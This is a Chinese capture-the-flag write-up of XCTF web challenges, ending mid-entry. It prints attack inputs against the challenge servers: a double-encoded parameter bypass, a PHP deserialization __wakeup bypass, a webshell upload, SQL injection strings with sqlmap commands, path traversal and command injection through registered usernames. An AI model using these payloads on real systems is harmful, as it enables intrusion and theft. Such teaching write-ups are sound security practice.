PHP2
进入题目后只有一句话: Can you anthenticate to this website? ,没有其他东西,扫描目录页无果。尝试在index.phps
,得到源码
但是显然代码并不完整,右键查看源代码,得到如下
<?php
if("admin"===$_GET[id]) {
echo("<p>not allowed!</p>");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
echo "<p>Access granted!</p>";
echo "<p>Key: xxxxxxx </p>";
}
?>
Can you anthenticate to this website?
刚开始看到一个 强类型(===) 和一个 弱类型(==) 向通过他们二者的区别绕过,回来发现不可行
这题正确姿势是:
① php 在 GET 一个参数之前,会先自动
urldecode
② %25 === url解码 ===> %
③ %61 === url解码 ===> a
?id=%2561dmin
当我们传入%2561dmin
后,第一次自动 urldecode 结果为 %61dmin
,第一个匹配 "admin" === "%61dmin"
失败
第二次匹配前又 urldecode 一次,所以第二次匹配"admin" == "admin"
成功,拿下 flag
unserialize3
题目进去看到代码
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=
先介绍一下 __wakeup()
魔术方法
它是 PHP 序列化的魔术方法之一, unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源
根据题目的意思,应该是要求我们通过code
参数,传入序列化字符串,然后服务器会用unserialize()
处理参数,而xctf
类中存在 __wakeup() 魔术方法,所以会被先调用,执行exit()
函数,退出页面。我们只要想办法使其不调用 __wakeup() 魔术方法就可以拿到 flag
后来发现这个思路是 __wakeup()魔术方法绕过(CVE-2016-7124)
:
漏洞影响版本:
PHP5 < 5.6.25
PHP7 < 7.0.10漏洞产生原因:
如果存在 __wakeup 方法,调用 unserilize() 方法前则先调用 __wakeup方法,但是序列化字符串中表示对象属性个数
的值大于
真实的属性个数
时会跳过__wakeup的执
首先,生成序列化字符串
<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
$knlvre = new xctf();
print(serialize($knlvre));
?>
我们将得到的序列化字符串中的变量数量从1
改为2
,或者 2 以上的数字,拿下 flag
?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}
upload1
先尝试上传1.php
,还没点击上传
就提示我请上传图像文件,猜测是前端代码检测
先将文件名改为1.png
,抓包修改后缀为.php
,上传成功,并且后缀就是为 .php
既然可以上传,就直接上传一个大马
连接成功,在../flag.php
中拿到 flag
ics-04
题目描述: 工控云管理系统新添加的登录和注册页面存在漏洞,请找出flag
进入题目后按照题目描述,发现有注册
、登陆
、忘记密码
三个功能界面,注册一个普通用户登陆后提示:普通用户登录成功,没什么用
对三个界面依次尝试,最后在找回密码界面找到突破口
首先尝试一个不存在的用户(admin),添加 单引号 也没有报错,只是提示 没有这个用户
。但是使用万能密码(admin' or '1
)尝试时,却是直接绕过
列数为4
,注入点在3
admin' union select 1,2,3,4 #
sqlmap
python2 sqlmap.py -u "http://111.198.29.45:45199/findpwd.php" --data="username=1" --dbs
python2 sqlmap.py -u "http://111.198.29.45:45199/findpwd.php" --data="username=1" -D cetc004 --tables
#返回 user
python2 sqlmap.py -u "http://111.198.29.45:45199/findpwd.php" --data="username=1" -D cetc004 -T user --dump
answer
和password
已经被加密了,并且无法破解。后来发现username
字段并不是加密(因为拿这个用户名去重置密码是可以的),然后利用注册页面,可以重复注册用户
的漏洞,再次注册这个用户名,密码自己知道,然后用这个用户名去登录,直接拿到 flag(本题登录界面应该是判断如果登录用户名是c3tlwDmIn23
,就会直接给 flag)
Triangle
题目进去之后只有一个输入框,没有利用点。后来右键查看源代码,发现可疑的JS
function login(){
var input = document.getElementById('password').value;
var enc = enc_pw(input);
var pw = get_pw();
if(test_pw(enc, pw) == 1){
alert('Well done!');
}
else{
alert('Try again ...');
}
}
但是上面提到的函数没有在源码页面找到,后来在secret.js
中发现
function test_pw(e, _) {
var t = stoh(atob(getBase64Image("eye"))),
r = 4096,
m = 8192,
R = 12288,
a = new uc.Unicorn(uc.ARCH_ARM, uc.MODE_ARM);
a.reg_write_i32(uc.ARM_REG_R9, m),
a.reg_write_i32(uc.ARM_REG_R10, R),
a.reg_write_i32(uc.ARM_REG_R8, _.length),
a.mem_map(r, 4096, uc.PROT_ALL);
for (var o = 0; o < o1.length; o++) a.mem_write(r + o, [t[o1[o]]]);
a.mem_map(m, 4096, uc.PROT_ALL),
a.mem_write(m, stoh(_)),
a.mem_map(R, 4096, uc.PROT_ALL),
a.mem_write(R, stoh(e));
var u = r,
c = r + o1.length;
return a.emu_start(u, c, 0, 0),
a.reg_read_i32(uc.ARM_REG_R5)
}
function enc_pw(e) {
var _ = stoh(atob(getBase64Image("frei"))),
t = 4096,
r = 8192,
m = 12288,
R = new uc.Unicorn(uc.ARCH_ARM, uc.MODE_ARM);
R.reg_write_i32(uc.ARM_REG_R8, r),
R.reg_write_i32(uc.ARM_REG_R9, m),
R.reg_write_i32(uc.ARM_REG_R10, e.length),
R.mem_map(t, 4096, uc.PROT_ALL);
for (var a = 0; a < o2.length; a++) R.mem_write(t + a, [_[o2[a]]]);
R.mem_map(r, 4096, uc.PROT_ALL),
R.mem_write(r, stoh(e)),
R.mem_map(m, 4096, uc.PROT_ALL);
var o = t,
u = t + o2.length;
return R.emu_start(o, u, 0, 0),
htos(R.mem_read(m, e.length))
}
function get_pw() {
for (var e = stoh(atob(getBase64Image("templar"))), _ = "", t = 0; t < o3.length; t++) _ += String.fromCharCode(e[o3[t]]);
return _
}
js代码逆向
,先不去接触这个知识点(参考: https://blog.csdn.net/gonganDV/article/details/96285636 )
wtf.sh-150
注册时,无法注册admin
用户,注册一个普通用户,登录后可以 post 文章
观察URL,查看某篇文章时通过post
参数提交给一个名为post.wtf
的页面。查看用户的所有posts时,通过user
参数提交给profile.wtf
页面
对 post.wtf 的 post 参数进行fuzz
,发现目录穿越
尝试,得到内容
?post=../
大专栏 攻防世界 — Web进阶题(第115-2.png" alt="15-2"/>
拿到的貌似是源码,大约地看一遍,突然看到flag
字样
根据源码的内容来看,这应该是profile.wtf
的源码,注意看获取 flag 的语句:
① 登陆;② cookies 字段中的name
参数值为 admin;③ 这个 ${username}
参数值为 admin
$ if is_logged_in && [[ "${COOKIES['USERNAME']}" = 'admin' ]] && [[ ${username} = 'admin' ]] $ then $ get_flag1
现在比较奇怪的就是这个 ${username} 参数,注意代码中上面的几行
① 这个 ${username} 似乎是根据 URL 中的 user 参数,然后从 users 文件中取出来(猜测这个 users 文件存储所有用户的全部或部分信息);②返回字符串 用户名+’s posts 和所有文章(这就是 profile.wtf 的界面)
file_existsusers/${URL_PARAMS['user']} $ then $ local username=$(head -n 1 users/${URL_PARAMS['user']});
$ echo ${username}'s posts:
$ echo $ get_users_posts${username}
现在知道 ${username} 就是用户注册的用户名,而这个值是根据 URL 中的 user 参数,然后从 users 文件中取出来,看一下 profile.wtf 提交请求时的 user 参数
可以看到 user 应该是被加密,并且能在 users 文件中对应某个账户,而拿到 flag 的其中一步就是让 ${username} 变量的值等于 admin ,必须拿到 users 文件中 admin 对应的 user 的值。既然存在目录穿越
,所以现在就可以直接试着去读取 users 文件
虽然没能看到 user 值,但是看到了类似TOKEN
的值,对比一下我自己随便注册的用户
现在可以确定这个类似 TOKEN 的字段就是 TOKEN,试着用其登录 admin
登陆成功
迫不及待的点击 profile 拿到了 user 字段的值
修改这三个字段:URL 中的 user
、Cookie 中的 USERNAME
、Cookie 中的 TOKEN
,拿到了 flag 但是只有一半
xctf{cb49256d1ab48803
继续看源代码,发现
max_page_include_depth=64
page_include_depth=0
function include_page {
# include_page <pathname>
local pathname=$1
local cmd=""
[[ "${pathname:(-4)}" = '.wtf' ]];
local can_execute=$?;
page_include_depth=$(($page_include_depth+1))
if [[ $page_include_depth -lt $max_page_include_depth ]]
then
local line;
while read -r line; do
# check if we're in a script line or not ($ at the beginning implies script line)
# also, our extension needs to be .wtf
[[ "$" = "${line:0:1}" && ${can_execute} = 0 ]];
is_script=$?;
# execute the line.
if [[ $is_script = 0 ]]
then
cmd+=$'n'"${line#"$"}";
else
if [[ -n $cmd ]]
then
eval "$cmd" || log "Error during execution of ${cmd}";
cmd=""
fi
echo $line
fi
done < ${pathname}
else
echo "<p>Max include depth exceeded!<p>"
fi
}
以及一段可以执行 wtf 文件的 reply 函数,存在路径穿越
function reply {
local post_id=$1;
local username=$2;
local text=$3;
local hashed=$(hash_username "${username}");
curr_id=$(for d in posts/${post_id}/*; do basename $d; done | sort -n | tail -n 1);
next_reply_id=$(awk '{print $1+1}' <<< "${curr_id}");
next_file=(posts/${post_id}/${next_reply_id});
echo "${username}" > "${next_file}";
echo "RE: $(nth_line 2 < "posts/${post_id}/1")" >> "${next_file}";
echo "${text}" >> "${next_file}";
# add post this is in reply to to posts cache
echo "${post_id}/${next_reply_id}" >> "users_lookup/${hashed}/posts";
}
点击浏览器用户点击 reply,回复抓包修改 post 参数的路径(后面要加 %09 制表符才不会被当做目录解析)
访问
然后注册用户名为可执行命令的用户,如 ${find,/,-iname,get_flag2}
,注意注册的时候不能用空格,要用英文字母的逗号代替。重复上面提交到 m.wtf 的步骤,然后访问就可以 命令执行
最后注册用户 $/usr/bin/get_flag2
,访问 m.wtf
Flag: 149e5ec49d3c29ca}
ics-07
题目描述:工控云管理系统项目管理页面解析漏洞
还是那个熟悉的界面,点击项目管理
,左下角有view-source.php
可以查看源码
<?php
session_start();
if (!isset($_GET[page])) {
show_source(__FILE__);
die();
}
if (isset($_GET[page]) && $_GET[page] != 'index.php') {
include('flag.php');
}else {
header('Location: ?page=flag.php');
}
?>
<form action="#" method="get">
page : <input type="text" name="page" value="">
id : <input type="text" name="id" value="">
<input type="submit" name="submit" value="submit">
</form>
<br />
<a href="index.phps">view-source</a>
<?php
if ($_SESSION['admin']) {
$con = $_POST['con'];
$file = $_POST['file'];
$filename = "backup/".$file;
if(preg_match('/.+.ph(p[3457]?|t|tml)$/i', $filename)){
die("Bad file extension");
}else{
chdir('uploaded');
$f = fopen($filename, 'w');
fwrite($f, $con);
fclose($f);
}
}
?>
<?php
if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
include 'config.php';
$id = mysql_real_escape_string($_GET[id]);
$sql="select * from cetc007.user where id='$id'";
$result = mysql_query($sql);
$result = mysql_fetch_object($result);
} else {
$result = False;
die();
}
if(!$result)die("<br >something wae wrong ! <br>");
if($result){
echo "id: ".$result->id."</br>";
echo "name:".$result->user."</br>";
$_SESSION['admin'] = True;
}
?>
首先需要使得$_SESSION['admin'] = True
才能去写文件
然后貌似题目环境出问题了,因为提交id=1/9
提示Could not connect: Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2)
,先不做
i-got-id-200
Forms
页面对提交的数据有返回,File
页面可以上传文件